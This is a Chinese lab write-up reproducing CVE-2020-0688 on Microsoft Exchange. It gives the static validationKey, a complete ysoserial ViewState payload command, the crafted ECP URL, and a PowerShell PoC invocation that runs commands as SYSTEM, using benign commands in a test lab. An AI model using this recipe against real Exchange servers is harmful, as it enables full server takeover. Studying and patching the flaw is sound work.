CVE-2020-0688 远程代码执行漏洞
漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码
当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在 被攻击的exchange上执行任意代码,直接获取服务器权限
影响版本
- Microsoft Exchange Server 2010 Service Pack 3
- Microsoft Exchange Server 2013
- Microsoft Exchange Server 2016
- Microsoft Exchange Server 2019
漏洞利用前提
- 获得一个邮件用户密码,且该邮箱登录过exchange
环境安装
参考:exchange2016安装
- 实验环境:Exchange Server 2016 RTM 15.1.225.42
漏洞复现
手动复现
- 获取 __VIEWSTATEGENERATOR 和 ASP.NET_SessionId 的值
使用普通域用户(获取的邮箱用户)hacker登录管理中心/ecp/,定位到/ecp/,在其响应头中获取ASP.NET_SessionId 的值。同时在响应体中获得 __VIEWSTATEGENERATOR 的值,默认为“B97B4E27”
- ASP.NET_SessionId = 7b9b620b-74bf-4cd2-a9c1-445d5f1720ae
- __VIEWSTATEGENERATOR = B97B4E27
- 生成反序列化Payload
使用 ysoserial.exe 生成反序列化Payload,命令如下
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c notepad.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634" --isdebug -islegacy
- validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF,这是固定的值,这是此漏洞产生的原因,修复补丁之后此值会做随机化处理
- --generator="B97B4E27",这是返回包中获得 __VIEWSTATEGENERATOR 的值
- --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634",这是请求包中ASP.NET.SessionID的值
将生成的payload进行 url 编码
拼接为如下格式
https://192.168.59.131/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=url编码后的payload
保持用户hacker在登录的情况下,直接在浏览器中访问即可触发以system权限的命令执行
工具一键利用
poc:GitHub - MrTiz/CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server through fixed cryptographic keys
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://192.168.59.131' -Username 'test.lab\hacker' -Password 'hacker.com' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\admin\Desktop\CVE-2020-0688-main\ysoserial\ysoserial.exe'
执行如上所示,exchange机器中将被成功创建C:/whoami.txt文件